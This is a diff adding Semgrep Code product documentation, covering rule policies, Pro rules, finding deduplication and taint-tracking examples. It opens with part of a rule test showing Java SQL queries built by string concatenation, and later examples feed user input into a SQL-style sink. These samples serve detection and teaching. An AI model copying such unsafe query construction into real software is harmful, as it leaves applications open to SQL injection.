+ //ruleid:unsafe-sql-concatenation-in-method-taint-field-sensitivity
+ String tp1_1 = SqlLogger.execute(stm,"SELECT c1, c2 from tablename where c1 = " + c.getX());
+
+ //ok:unsafe-sql-concatenation-in-method-taint-field-sensitivity
+☆ String tp1_2 = SqlLogger.execute(stm,"SELECT c1, c2 from tablename where c1 = " + c.getY());
+}
+```
+
+**Figure**. `unsafe-sql-concatenation-in-method-taint-field-sensitivity`. [Open in interactive Playground](https://semgrep.dev/playground/s/OrAwe).
+
+- This example has one true positive on **line 24** and one true negative on **line 27**.
+- **Line 17** of the rule tells Semgrep to match for the following pattern:
+ ```yaml lines
+ pattern: |
+ $X(..., $SRC, ...) { ... }
+ focus-metavariable: $SRC
+ ```
+ - This matches `private void LoggerTruePositives(String injection)`, specifically the `injection` variable in the sample code.
+- The value of the injection variable is passed to `C.x`, thus, `C.x` is tainted, but `C.y` is not.
diff --git a/mintlify-docs/semgrep-code/overview.mdx b/mintlify-docs/semgrep-code/overview.mdx
new file mode 100644
index 0000000000..1537a58569
--- /dev/null
+++ b/mintlify-docs/semgrep-code/overview.mdx
@@ -0,0 +1,109 @@
+---
+title: "Semgrep Code overview"
+sidebarTitle: "Overview"
+---
+
+
+Semgrep Code is a static application security testing (SAST) tool that detects security vulnerabilities in your first-party code.
+
+You can use Semgrep Code to scan local repositories or integrate it into your CI/CD pipeline to automate the continuous scanning of your code.
+
+## Rules
+
+Semgrep Code uses **rules**, which encapsulate pattern matching logic and data flow analysis, to scan your code for security issues, style violations, bugs, and more. Semgrep generates and reports **findings** to you whenever it finds code that matches the patterns defined by rules.
+
+Semgrep performs SAST scans using rules that define the patterns to detect in your code.
+
+Rules used by the Semgrep Pro Engine are available in the [Registry](https://semgrep.dev/r). Additionally, you can [write custom rules](/writing-rules/overview) to determine what Semgrep Code detects in your repositories.
+
+Whether you use pre-existing rules or write custom rules, knowing *which* rules Semgrep Code runs can help you understand how it detects security issues.
+
+Semgrep Code is transparent; you can configure the rules it runs and inspect its syntax to understand how the finding was detected. You can also customize the content of a rule to improve the true positive rate of a rule or have Semgrep send a relevant message to developers.
+
+## AI-powered detection (beta)
+
+Semgrep’s AI-powered detection combines the precision of static analysis with the contextual reasoning of large language models (LLMs). With AI-Powered Detection, you can automatically identify complex business logic flaws, such as IDORs and broken authorization.
+
+LLMs excel at understanding code context: variable names, class structures, function intent, and even comments. By pairing that reasoning power with structured scanning, Semgrep can:
+- Enumerate key attack surfaces, such as routes or controllers.
+- Check for missing safeguards, such as authentication, role checks, and permissions.
+- Flag potential logic gaps for review before attackers ever find them.
+
+Learn how to run an [AI-powered detection scan](/deployment/add-ai-to-scans).
+
+## Findings
+
+Semgrep AppSec Platform displays Semgrep Code's findings. Additionally, the platform allows you to:
+
+* Triage findings
+* Send alerts and notifications or create tickets to track findings identified by Semgrep Code
+* Customize how Semgrep Code scans your repositories
+* Manage your users and facilitate team collaboration in remediating security issues
+
+## Language support and integrations
+
+Semgrep Code supports a broad set of programming languages, with varying levels of analysis capabilities and language maturity.
+
+* See the full list of [supported programming languages](/supported-languages)
+* For definitions of language maturity levels, see the [Language maturity levels](/references/language-maturity-levels) page.
+* For analysis terminology, see [Feature definitions](/references/feature-definitions).
+* For a list of supported source code managers (SCM), see [Supported source code managers](/getting-started/scm-support) or learn how to [Connect a source code manager](/deployment/connect-scm).
+
+## Semgrep Community Edition (CE) versus Semgrep Code analysis
+
+By default, Semgrep Code can analyze interactions beyond a single function but within a single file, a process known as **cross-function or interprocedural analysis**. This smaller scope of analysis makes it faster and easier to integrate into developer workflows.
+
+Semgrep CE can only analyze interactions within a single function, known as intraprocedural or single-function analysis. However, this means that Semgrep CE is slightly faster than Semgrep Code.
+
+Semgrep Code also supports **[cross-file analysis](/semgrep-code/semgrep-pro-engine-intro/)** (interfile) analysis. These scans produce fewer false positives and more true positives, but take longer to complete.
+
+## Enable Semgrep Code
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to **[Settings > General > Code](https://semgrep.dev/orgs/-/settings/general/code)**.
+
+
+Click the ** Code scans** toggle if it is not already enabled.
+
+
+
+Subsequent scans now include Code scans.
+
+### Run Semgrep Code scans with single-function analysis
+
+In some cases, you may want to scan using Semgrep CE's single-function analysis. To do this, edit your `semgrep ci` command in your CI provider's configuration file with either the `--pro-languages` or `--oss-only` flags:
+
+```yaml
+# Preferred; includes support for all Semgrep Code languages
+semgrep ci --pro-languages
+
+# Does not include all Semgrep Code language features
+semgrep ci --oss-only
+```
+
+## Augment Semgrep Code with Semgrep Multimodal
+
+[Semgrep Multimodal](/semgrep-multimodal/overview) provides AI-powered security recommendations to help you review, triage, and remediate your Semgrep findings. More specifically, Multimodal can:
+
+- Provide [remediation advice](/semgrep-multimodal/overview#remediation) and Suggested fixes for Semgrep Code findings. This information is displayed in Semgrep AppSec Platform.
+- Provide [remediation guidance](/semgrep-multimodal/overview#guidance) with step-by-step instructions on how to remediate the finding identified by Semgrep Code in every pull request or merge request comment Semgrep pushes.
+ - Multimodal supports the tailoring of its remediation guidance using [Memories](/semgrep-multimodal/overview#memories).
+- [Tag your findings](/semgrep-multimodal/overview#component-tags) in Semgrep AppSec Platform to help identify high-priority issues.
+- [Auto-triage findings](/semgrep-multimodal/overview#auto-triage) and suggest whether a finding can safely be ignored.
+- [Filter out potential false positives](/semgrep-multimodal/overview#noise-filtering-beta) to help increase developer velocity.
+
+## Next steps
+
+- [View your findings](/semgrep-code/findings).
+- Customize how Semgrep Code scans your repository by modifying the [default rules set](https://semgrep.dev/p/default) or [writing your own rules](/semgrep-code/editor/#write-a-new-rule-by-forking-an-existing-rule).
+- Enable [Suggested fix](/writing-rules/rule-defined-fix) so that Semgrep can push code suggestions to GitHub or GitLab to help your developers resolve findings.
+- Enable [cross-file scanning](/semgrep-code/semgrep-pro-engine-intro/).
+- Learn how to run an [AI-powered detection scan](/deployment/add-ai-to-scans)
+
+## Further reading
+
+- Read the [Trail of Bits Automated Testing Handbook](https://appsec.guide/) to learn about configuring and optimizing security tools, including Semgrep.
diff --git a/mintlify-docs/semgrep-code/policies.mdx b/mintlify-docs/semgrep-code/policies.mdx
new file mode 100644
index 0000000000..f181acc3c6
--- /dev/null
+++ b/mintlify-docs/semgrep-code/policies.mdx
@@ -0,0 +1,204 @@
+---
+title: "Manage rules and policies"
+---
+
+The Policies page displays the [ rules](/running-rules) that Semgrep Code uses when scanning all of your repositories.
+
+Modifications to the rules on the Policies page allow you to increase the breadth and depth of your scan coverage or remove noise from scans. You can also determine whether findings detected by a given rule can help block merges for pull requests (PRs) or merge requests (MRs).
+
+## Language coverage and scan speeds
+
+Semgrep Code identifies the languages used in your repositories and only runs rules applicable to those languages. For example, adding Ruby and Python rules in your Policies doesn't affect the scan speed for Python-only repositories. Only Python rules are run for Python repositories.
+
+## Policies page structure
+
+The Policies page consists of a header and three main panes:
+
+
+**Policies header**
+ The top header consists of:
+ - **Policies view drop-down**, which lets you choose between:
+ - Grouping rules by vulnerability class
+ - No grouping
+ - Rule Modes button where you can view **rule modes** and edit **notifications** for each rule mode. Rule modes define what **workflow actions** Semgrep Code performs when a rule detects a finding. For example, setting a rule's mode to **Comment** means that Semgrep posts PR or MR comments from findings generated by that rule. See [Block a PR or MR through rule modes](#block-a-pr-or-mr-through-rule-modes) for more information.
+ - **Add rules** button that takes you to the [Semgrep Registry](https://semgrep.dev/explore) where you can add rules to the Policies page and assign their initial modes.
+
+**Filter pane**
+Displays filters to quickly select and perform operations on rules in bulk. See [Policies filter reference](#policies-filter-reference) for more information.
+
+**Rule pane**
+ The rule pane displays the rules that Semgrep scans use to detect findings and allows you to edit their assigned rule modes. You can make these edits either one by one or through bulk editing of many rules. You can also use the **Search for rule names or ids** box. See [Policies filter reference](#policies-filter-reference) for more information.
+
+
+### Policies page filters
+
+This section defines the Policies page filters:
+
+| Filter | Description | Examples or possible values |
+| :--- | :--- | :--- |
+| Modes | Filter by the workflow action Semgrep performs when a rule detects a finding. An additional filter, **Disabled**, is provided for rules that you have turned off and are no longer included for scanning. | See [Rule modes](#block-a-pr-or-mr-through-rule-modes) documentation. |
+| Category | Filter by the type of security issue or vulnerability that the rule detects. |
Dangerous method or function
SQL injection
Active debug code
|
+| Severities | The higher the severity, the more critical the issues that a rule detects. |
Critical
High
Medium
Low
|
+| Confidence | Filter by the confidence of the rule to detect true positives. |
High
Medium
Low
|
+| Source | Filter by the origin of a rule. |
**Pro:** Authored by Semgrep with cross-file (interfile) and cross-function (interprocedural) analysis capabilities, providing you with enhanced scan accuracy. For more information, see Pro rules.
**Community:** Authored by Semgrep, Inc or external contributors such as Trail of Bits.
**Custom:** Rules created within your Semgrep organization. For more information, see Private rules.
. |
+| Available rule upgrades | Filter for rules where there exist improved versions to those using paid Semgrep products. |
+| Ruleset | Filter by the name of an existing ruleset. |
|
+| Minimum count of findings| Filter by the number of findings. |
10
100
500
|
+
+
+
+**TIP**
+
+Use **Minimum count of findings** to identify rules generating a lot of findings. This may be an indication of false positives or noise.
+
+
+### Rule entries reference
+
+This section defines the columns of the rule entries in the Policies page:
+
+| Filter | Description | Examples or possible values |
+| :--- | :--- | :--- |
+| Rule name | Name of the rule that Semgrep Code uses for scanning. | [ `docs-print-to-logger`](https://semgrep.dev/playground/s/KPzL) |
+| Labels | Metadata describing the rule. This includes the rule's language, category (good security practices, coding standards), and more. |
Security
Code injection
PHP
|
+| Open findings | The number of open findings that the rule has detected across all scans. | n/a |
+| Fix rate | The percentage of findings that are fixed through changes to the code. | n/a |
+| Severity | The higher the severity, the more critical the issues that a rule detects. |
High
Medium
Low
|
+| Confidence | Indicates confidence of the rule to detect true positives. |
High
Medium
Low
|
+| Source | Indicates the origin of a rule. |
**Pro:** Authored by Semgrep with cross-file (interfile) and cross-function (interprocedural) analysis capabilities, providing you with enhanced scan accuracy. For more information, see Pro rules.
**Community:** Authored by Semgrep, Inc or external contributors such as Trail of Bits.
**Custom:** Rules created within your Semgrep organization. For more information, see Private rules.
. |
+| Ruleset | Rules are also organized in rulesets. Rulesets are groups of rules related through a programming language, OWASP category, or framework. |
|
+| Mode | Specifies what workflow action Semgrep performs when a rule detects a finding. An additional filter, **Disabled**, is provided for rules that you have turned off and are no longer included for scanning. | See [Rule modes](#rule-modes) documentation. |
+
+## Add rules
+
+To add rules, follow these steps:
+
+
+
+On the [ Policies](https://semgrep.dev/orgs/-/policies) page, click **Add Rules**.
+
+
+You are redirected to the [ Semgrep Registry](https://semgrep.dev/explore) page. Explore the page, open cards of individual rules, and then click **Add to Policy**.
+
+
+Specify the workflow action of the rule that you are adding. Select either:
+ - Monitor
+ - Comment
+ - Block
+
+
+
+### Add custom rules to your Policies
+
+To add custom rules, use the Semgrep Editor. See [ Setting code standards with the Policies page](/semgrep-code/editor#add-a-rule-to-the-policies-page).
+
+### Add rulesets to your Policies from the Registry
+
+Instead of adding individual rules to your Policies, you can add rulesets, which are groups of rules related through a programming language, OWASP category, or framework. The Semgrep team curates the rulesets.
+
+
+
+On the [ Policies](https://semgrep.dev/orgs/-/policies) page, click **Add Rules**.
+
+
+You are redirected to the [ Semgrep Registry](https://semgrep.dev/explore) page. Explore the page to find the ruleset you're interested in adding.
+
+
+Click the ruleset to open its **Explore** page. This page lets you view the included rules and provides instructions for testing and running the ruleset locally before adding it to your policies.
+
+
+Click **Add to Policy**.
+
+
+pecify the workflow action for the rules that you are adding by selecting one of these options:
+ - Monitor
+ - Comment
+ - Block
+
+
+
+If Semgrep adds rules to the ruleset in the future, they will automatically be added to your Policies in the same mode that you select. You can change the default mode for the current and future rules by re-adding the ruleset through the Registry and choosing a different mode. You *cannot* change the mode of all existing rules associated with the ruleset using the Policies page, since this only makes every rule that you changed an exception to the default.
+
+#### Filtering behavior
+
+* Filter types such as **Language** and **Technology** use `AND` logic. This means that search terms must match all filters. For example, selecting Java (a **Language**) and security (a **Category**) shows only rules with both properties (Java and security).
+* Adding filters of the same type use `OR `logic. This means that search terms can match any of the filters for that type. For example, selecting Java and Python (both **Languages**) shows rules with either language.
+* A gem icon (💎) denotes Semgrep Pro rules.
+
+## Disable rules
+
+See [Triage and remediate findings](/semgrep-code/triage-remediation#turn-off-a-ruleset-or-a-rule) for information on how to disable a rule or a ruleset.
+
+## Rule modes
+
+Semgrep enables you to choose a **workflow action** based on the presence of a finding. Workflow actions include:
+
+* Failing a CI job. Semgrep returns exit code `1`, and you can use this result to set up additional checks to enforce a block in your CI/CD pipeline. This action applies to both full scans and diff-aware scans.
+* Leaving a PR or MR comment.
+* Notifying select channels, such as private Slack channels or webhooks.
+
+Semgrep Code provides three rule modes:
+
+| Rule mode | Description |
+| :--- | :--- |
+| Monitor | Rules in **Monitor mode** display findings only in:
Semgrep AppSec Platform
**For Semgrep Code and Supply Chain**: User-defined notifications
Set rules to this mode to evaluate their true positive rate and other criteria you may have. By keeping rules in Monitor, developers do not receive potentially noisy findings in their PRs or MRs. |
+| Comment | Rules in **Comment mode** display findings in:
Developers' PRs or MRs
Semgrep AppSec Platform
**For Semgrep Code and Supply Chain**: User-defined notifications
Set rules that have met your performance criteria to this mode when you are ready to display findings to developers. |
+| Block | Rules in **Block mode** cause the scan job to fail with an exit code of `1` if Semgrep Secrets detects a finding from these rules. You can use this result to enforce a block on the PR or MR. For example, GitHub users can enable branch protection and set the PR to fail if the Semgrep step fails. These rules display findings in:
Developers' PRs or MRs
Semgrep AppSec Platform
**For Semgrep Code and Supply Chain**: User-defined notifications
These are typically high-confidence, high-severity rules. |
+
+Semgrep Code provides first-time users with the [ Default ruleset](https://semgrep.dev/p/default). These rules are initially placed in the Monitor column. As you develop confidence in these rules, you are able to change their modes to Comment or Block, ensuring that developers remain free of friction from false positives.
+
+## Block a PR or MR through rule modes
+
+The following instructions walk you through changing the rule mode for rules that generate high severity findings to **block**. Whenever Semgrep identifies such findings, it returns exit code `1`.
+
+You can use this result to set up additional checks to enforce a block in your CI/CD pipeline, such as not allowing the merge of the PR/MR. The process to implement a block on a PR or MR after Semgrep exits with error code `1` is dependent on your CI provider. Review your CI provider's documentation for further information.
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Navigate to **Rules > Policies > Code**.
+
+
+Filter for the applicable rules. For example, select **High** under **Severities** to find all of the rules that generate high severity findings if they match any part of your code.
+
+
+Select either the box next to ***Number* matching rules** or select individual checkboxes next to one or more rules. These are the rules whose mode you will change in the next step.
+
+
+Click **Change modes *Number*** and select **Block**.
+
+
+
+## Multiple policies
+
+
+**MULTIPLE POLICIES FEATURE (PRIVATE BETA)**
+
+If you have the **multiple policies** feature, you can customize the Code rules that run on specific repositories. Currently, this beta is not accepting new participants.
+
+
+The multiple policies feature enables users to customize the Semgrep Code rules that run on specific projects (repositories). Users create different policies that projects can be assigned to.
+
+This feature makes use of a **Global Policy** that runs on **all** projects. Projects cannot be unassigned from it.
+
+You can create a new policy and add one or more projects, then select rules to add to the policy. Projects are assigned manually to additional policies, and multiple projects can be added by searching repository names or tags.
+
+During a scan, the repositories assigned to your custom policy run all of the rules from the **Global Policy** as well as all the rules from your custom policy.
+
+### Policy limit
+
+Current users of the Multiple Policies beta can create up to 10 policies. Some users from earlier phases of the beta may have a higher limit.
+
+### Resolve workflow actions in multiple policies
+
+If a rule is in multiple policies, then the rule is deduplicated and Semgrep prioritizes the workflow action based on the rule mode, where precedence is as follows:
+
+1. Block
+2. Comment
+3. Monitor
+
+For example, if an instance of `Rule A` is set to **Block**, the scan fails for PRs with any findings from that rule, even if the same `Rule A` is set to **Monitor** in another policy applied to that repository.
+
+To ensure that the workflow action is resolved as expected, add the specific rule to the desired policy mode. This will override any behavior that it inherits from the rulesets it belongs to.
diff --git a/mintlify-docs/semgrep-code/pro-rules.mdx b/mintlify-docs/semgrep-code/pro-rules.mdx
new file mode 100644
index 0000000000..e9391c785c
--- /dev/null
+++ b/mintlify-docs/semgrep-code/pro-rules.mdx
@@ -0,0 +1,85 @@
+---
+title: "Semgrep Pro rules"
+---
+
+This article provides an overview of rules provided exclusively by Semgrep, Inc. called **Semgrep Pro** rules. These high-confidence, professionally maintained rules are a proprietary addition to Semgrep Registry.
+
+The goal of Pro rules is to provide a set of well-supported rules with improved coverage across languages and vulnerability types. Semgrep Pro rules are written using Semgrep’s latest features and, in general, target users who are looking to produce highly accurate, actionable findings.
+
+## Types of rules in the Semgrep Registry by author
+
+* **Community rules** - reviewed by the Semgrep team, these rules consist of contributions from Semgrep’s community. Community rules encompass a wide array of rules, including many that are made for security auditors.
+* **Third-party rules** - created directly by external contributors such as Trail of Bits, GitLab and many more.
+* **Private rules** - rules authored and published by your own organization, for use only by your organization.
+* **Pro rules** - proprietary rules created by the Semgrep team targeted for security and software engineers who need accurate findings. These rules provide increased coverage for many programming languages and use the latest Semgrep features.
+
+## Semgrep Pro rules content
+
+Semgrep Pro rules provide improved findings across many languages on specific classes of vulnerabilities, such as injection vulnerabilities, deserialization, XXE, and many others, as well as increased support for frameworks and technologies such as Express, Spring, Java Servlets, Laravel, Go net/http, React, Next.js, and Angular.
+
+Semgrep's Security Research team plans to keep improving coverage by adding support for more languages and popular frameworks, as well as reducing potential false positives by monitoring rules’ performance.
+
+To see the languages with Pro rules, go to [Supported languages](/supported-languages).
+
+## Scan with Semgrep Pro rules
+
+Your Semgrep AppSec Platform account already includes Pro rules that are likely to be widely useful, as they are included in the **Default** ruleset. These Pro rules run on all your scans.
+
+
+**INFO**
+
+- To make the most out of Pro rules, ensure that you are [running **cross-file analysis**](/semgrep-code/semgrep-pro-engine-intro#run-cross-file-analysis-with-semgrep-appsec-platform).
+- Rules that don't apply to your target repository's language or framework are skipped automatically even if they are in your Policies page. For example, if your repository contains JavaScript code and you have added Go rules, the Go rules are unused. Unused rules do not add to scan time.
+
+
+### Change rule modes or disable Pro rules in Semgrep AppSec Platform
+
+Like any other rule or ruleset, you can disable Pro rules or change their rule mode to leave comments for developers or potentially block a PR.
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Navigate to **Rules > Policies**.
+
+
+Under **Source**, click **Pro ** to view all the Semgrep Pro rules currently in your Policies.
+
+
+Find and select the rules you want to disable or change.
+
+
+Click **Change modes** and select one of the provided options.
+
+
+
+You can find all previously added Semgrep Pro rules in your Policies page, so if you want to re-enable Pro rules or adjust the mode again in the future, use the **Source > Pro ** filter as described previously.
+
+### Add Semgrep Pro rules in CLI or CI
+
+
+**PREREQUISITES**
+
+For CLI users: You must be [logged in](/getting-started/cli#log-in-to-your-semgrep-account).
+
+
+In some cases, you may want to run a scan with a specific set of Pro rules:
+
+
+
+Go to [Semgrep Registry](https://semgrep.dev/r).
+
+
+Click **Visibility > Pro rules**.
+
+
+Optional: Apply additional filters by entering search terms in the search box or selecting filters from drop-down boxes.
+
+
+For a single rule, click the **Rule's card > Run locally**. For rulesets, click the card.
+
+
+Copy and paste the command to your CLI or CI configuration file. You can add several rulesets.
+
+
diff --git a/mintlify-docs/semgrep-code/remove-duplicates.mdx b/mintlify-docs/semgrep-code/remove-duplicates.mdx
new file mode 100644
index 0000000000..cda87dde13
--- /dev/null
+++ b/mintlify-docs/semgrep-code/remove-duplicates.mdx
@@ -0,0 +1,111 @@
+---
+title: "Remove duplicate findings"
+description: "Semgrep scans are performed on both mainline (trunk) and non-mainline branches. The scope of the scan can differ depending on if Semgrep is called on a mainline or non-mainline branch."
+---
+
+
+**Full scan**
+Scans the repository in its entirety. It is recommended to perform full scans on mainline branches, such as `master` or `main`. Full scans are typically performed on a scheduled basis or on merge to a default branch.
+
+**Diff-aware scan**
+Diff-aware scans are performed on non-mainline branches, such as in pull requests and merge requests. Diff-aware scans traverse the repository's files based on the commit where the branch diverged from the mainline branch.
+
+## How Semgrep distinguishes between new and duplicate findings
+
+Semgrep generates a finding whenever it scans a repository and one of its rules matches a piece of code. Since Semgrep usually scans a repository multiple times, it needs a way to track the same finding in a file over time. Semgrep does this using two types of fingerprints: `match_based_id` and `syntactic_id`.
+
+
+**INFO**
+
+The calculations used to determine whether findings are new are subject to change at any time as Semgrep improves its deduplication logic.
+
+
+### `match_based_id`
+
+Using the `match_based_id`, Semgrep can determine if a given finding in a file is the same as a finding identified during a different scan, even if the code snippet that the rule matched had been moved to a different location in the file. This allows Semgrep to avoid generating a new finding and to deduplicate its records accordingly, even across multiple branches associated with the project. It also means that Semgrep can cross-correlate findings, so a finding that has been triaged in one branch will be flagged as triaged if it's identified in another branch.
+
+Semgrep generates the `match_based_id` for a finding using the following information:
+
+- The file path
+- The name of the rule that generated the finding
+- The rule pattern with the metavariables' values substituted in
+
+This information is combined and then hashed. At this point, Semgrep appends the **index**, a value generated by determining the number of times the rule involved matched code in the file. Note that the index is appended to the hash, not combined with the other finding information before hashing. This is done to preserve information on how findings are related. For example, `finding0` with `match_based_id = 123_0` and `finding1` with `match_based_id = 123_1` indicate that both were generated from the same rule matching the same code pattern in the same file.
+
+Semgrep uses the rule pattern with the metavariables' values, which originate from the code itself, substituted in to generate match_based_id. Therefore, code changes that result in the same rule pattern when abstracted to the level of the rule pattern match, with the appropriate values substituted, in don't hinder Semgrep's ability to recognize that the finding isn't a duplicate of an existing finding.
+
+For example, if the original file scanned is:
+
+```python
+a = 1
+b = 2
+spcd.get("foo")
+c = 3
+d = 4
+sink("foo")
+```
+
+The rule pattern identified and used in generating the `match_based_id` is:
+
+```python
+spcd.get($X)
+...
+sink($X)
+```
+
+Which, with metavariables substituted in, becomes:
+
+```python
+spcd.get("foo")
+...
+sink("foo")
+```
+
+If the following change is made to the original file:
+
+```python
+a = 1
+b = 2
+spcd.get("foo")
+c = 3
+c_1 = 5
+d = 4
+sink("foo")
+```
+
+The rule pattern identified and used in generating the `match_based_id` doesn't change:
+
+```python
+spcd.get("foo")
+...
+sink("foo")
+```
+
+This means that the `match_based_id` itself doesn't change, allowing Semgrep to identify that the two findings are the same and to deduplicate them. Furthermore, this process enables Semgrep to ignore lines that do not impact code function.
+
+### `syntactic_id`
+
+Semgrep generates the `syntactic_id` for a finding using the following information:
+
+- The file path
+- The name of the rule that generated the finding
+- The code syntax, or the literal piece of code that matched the rule
+- The index, a value generated by determining the number of times the rule involved matched code in the file
+
+This information is combined and then hashed for privacy before being stored.
+
+
+**INFO**
+
+The `syntactic_id` is primarily used by Semgrep for internal debugging purposes, since no code is stored except in cases where you have provided code access permissions to Semgrep.
+
+
+## Update findings by rescanning the project
+
+Semgrep's correlation of findings across branches based on their unique fingerprint allows for automatic consolidation of findings and makes it simpler to triage findings.
+
+If a finding is fixed in one branch (such as `main`), possibly because there hasn't been a follow-up scan on the branch, but open in another (such as `production`), and the code fixes are present in both branches, initiate scans through your CI job or SCM tool on the branches with open findings. Semgrep will reconcile the findings and mark them as fixed.
+
+## Remove duplicate findings using Semgrep API
+
+Semgrep API does not automatically group findings with the same match-based ID across branches. If you use Semgrep API to receive or pull findings data, set the `dedup` flag to `true` to deduplicate findings across refs or branches. Refer to [List code or supply chain findings](https://semgrep.dev/api/v1/#tag/FindingsService/operation/FindingsService_ListFindings) in the Semgrep API docs for more information.
diff --git a/mintlify-docs/semgrep-code/semgrep-pro-engine-data-flow.mdx b/mintlify-docs/semgrep-code/semgrep-pro-engine-data-flow.mdx
new file mode 100644
index 0000000000..2fda5b85fb
--- /dev/null
+++ b/mintlify-docs/semgrep-code/semgrep-pro-engine-data-flow.mdx
@@ -0,0 +1,57 @@
+---
+title: "Cross-file analysis taint traces"
+---
+
+## Introduction
+
+This article documents the cross-file (interfile) dataflow analysis in Semgrep Code. This document helps you to enable these features and provides an overview of the benefits compared to the analysis of Semgrep Community Edition (CE).
+
+## Viewing the path of tainted data
+
+With **dataflow traces**, Semgrep Code can provide you with a visualization of
+the path of tainted, or untrusted, data in specific findings. This path can help
+you track the sources and sinks of the tainted data as they propagate through
+the body of a function or a method. For general information about taint
+analysis, see [Taint tracking](/writing-rules/data-flow/taint-mode/overview).
+
+When running Semgrep Code from the command line, you can pass in the flag
+`--dataflow-traces` to use this feature.
+
+You can view dataflow traces in:
+
+- Semgrep AppSec Platform by going to Semgrep Code's [Findings page](https://semgrep.dev/orgs/-/findings?tab=open). For more details, see [Path of tainted data in Semgrep
+ Code](/semgrep-code/semgrep-pro-engine-data-flow).
+- The PR or MR comments created by Semgrep Code running in your CI/CD system. To enable
+ this feature, see:
+ - _GitHub users_: [Dataflow traces in PR
+ comments](/semgrep-appsec-platform/github-pr-comments/#view-the-path-of-tainted-data-in-pr-comments)
+ - _GitLab users_: [Dataflow traces in MR
+ comments](/semgrep-appsec-platform/gitlab-mr-comments/#view-the-path-of-tainted-data-in-mr-comments)
+
+### Get cross-file findings
+
+To get cross-file (interfile) findings in your organization, follow the steps in [ Perform cross-file analysis](/semgrep-code/semgrep-pro-engine-intro).
+
+### Displaying tainted data in Semgrep Code
+
+
+**PREREQUISITE**
+Not all Semgrep rules or rulesets make use of dataflow traces, or taint tracking. Ensure that you have a ruleset, such as the **default ruleset** added in your **[Policies page](https://semgrep.dev/orgs/-/policies)**. If this ruleset is not added, go to [https://semgrep.dev/p/default](https://semgrep.dev/p/default), and then click **Add to Policy**. You can add rules that use taint tracking from [Semgrep Registry](https://semgrep.dev/explore).
+
+
+
+To view the detailed path of tainted data with dataflow traces:
+
+
+
+Log in to Semgrep AppSec Platform, and click **[Code](https://semgrep.dev/orgs/-/findings)** in the **Navigation Bar** to view your findings.
+
+
+Select the finding you're interested in, then do one of the following actions:
+ - If the default **Group by Rule** is enabled, click **View details** icon on the card of the finding.
+ - If **No grouping** view is enabled, click the **header hyperlink** on the card of the finding. In the example screenshot below, the link is titled **tainted-sql-string**.
+
+
+In the section titled **Your code**, you can see the source, traces, and sink of the tainted data. Clicking on a specific line in the trace will highlight it in the context of the file, while clicking on the file name at the top of the right pane will take you directly to that file in your source code manager, such as GitHub or GitLab.
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-code/semgrep-pro-engine-examples.mdx b/mintlify-docs/semgrep-code/semgrep-pro-engine-examples.mdx
new file mode 100644
index 0000000000..4e4cd05ff1
--- /dev/null
+++ b/mintlify-docs/semgrep-code/semgrep-pro-engine-examples.mdx
@@ -0,0 +1,272 @@
+---
+title: "Cross-file analysis examples"
+---
+
+This document provides an overview of Semgrep's proprietary cross-file (interfile) and cross-function (intrafile) taint analysis features through specific examples, such as its use in type inferences, class inheritance, constant propagation, and taint analysis.
+
+Differences between Semgrep and Semgrep Community Edition (CE) can be observed by viewing the examples in separate Playground tabs. See the following section for more information.
+
+Note that Semgrep cross-file analysis implies cross-function analysis as well.
+
+## Tips and tricks for an interactive experience
+
+The following resources can help you test the code in the sections below. As you work through the examples in this document, try the following:
+
+- Ensure that the ** Pro** toggle is enabled on the [Playground](https://semgrep.dev/playground/new) page.
+ - Rules that make use of interfile analysis require the `interfile: true` key included under the `options` key.
+ - On the Playground, true positives that are detected by Semgrep's cross-file analysis are marked with a **purple star: **.
+- Clone the [Semgrep cross-file analysis testing repository](https://github.com/semgrep/semgrep-pro-tests):
+ ```bash
+ git clone https://github.com/semgrep/semgrep-pro-tests
+ ```
+ - Follow the instructions in the subsequent sections of this document using this testing repository. To run Semgrep in the cloned testing repository with cross-file (interfile) analysis, enter:
+ ```bash
+ semgrep --pro --config=pro.yaml .
+ ```
+
+## Taint tracking
+
+Semgrep CE allows you to search for the flow of any potentially exploitable input into an important sink using taint mode. For more information, see the [taint mode](/writing-rules/data-flow/taint-mode/overview) documentation.
+
+In the examples below, see a comparison of Semgrep and Semgrep CE while searching for dangerous calls using data obtained `get_user_input` call. The rule does this by specifying the source of taint as `get_user_input(...)` and the sink as `dangerous(...);`.
+
+### Java
+
+Semgrep matches `dangerous(“Select * from “ + user_input)`, because `user_input` is obtained by calling `get_user_input`. However, on Semgrep CE, it does not match the similar call using `still_user_input`, because its analysis does not cross function boundaries to know that `still_user_input` is a wrapper function for `user_input`.
+
+
+
+
+
+Semgrep matches both dangerous calls because it does cross function boundaries. In fact, the taint rule can track calls to `get_user_input` over multiple jumps in multiple files.
+
+
+**TRY IT OUT**
+
+- Turn on the ** Pro** toggle in the following link to an [example of dangerous taint](https://semgrep.dev/playground/s/J0dQ) rule.
+- To run Semgrep in the cloned [testing repository](https://github.com/semgrep/semgrep-pro-tests), go to `docs/taint_tracking/java` and run the following command:
+ ```bash
+ semgrep --config pro.yaml . --pro
+ ```
+
+
+### JavaScript and TypeScript
+
+Here, Semgrep CE matches `dangerous(“Select * from “ + user_input)`, because `user_input` is obtained by calling `get_user_input`. However, Semgrep CE does not match the similar call using `still_user_input`, because its analysis does not cross function boundaries to know that `still_user_input` is a wrapper function for `user_input`.
+
+
+
+
+
+Semgrep matches both dangerous calls because it does cross function boundaries. In fact, with Semgrep Pro, the taint rule can track calls to `get_user_input` over multiple jumps in multiple files.
+
+You can run JavaScript examples in your cloned [Semgrep testing repository](https://github.com/semgrep/semgrep-pro-tests) by going to `docs/taint_tracking/javascript` and running the following command:
+
+```bash
+semgrep --config pro.yaml . --pro
+```
+
+#### ES6 and CommonJS
+
+The JavaScript and TypeScript ecosystems contain various ways for importing and exporting code. Semgrep can track dataflow through ES6 imports or exports and some CommonJS export paths. See [Known limitations of cross file analysis](/semgrep-code/semgrep-pro-engine-intro#known-limitations-of-cross-file-analysis).
+
+##### ES6
+
+Semgrep can track data through the definition of exports for ES6:
+
+```js
+export function readUser() {
+ return get_user_input("example")
+}
+```
+
+Semgrep can follow the dataflow when it is imported into another location:
+
+```js
+
+readUser()
+```
+
+##### CommonJS
+
+Semgrep can track data through the definition of exports for CommonJS when the function is defined inline:
+
+```js
+module.exports = function get_user() {
+ return get_user_input("example")
+}
+```
+Semgrep is able to follow the dataflow when it is required in another location:
+
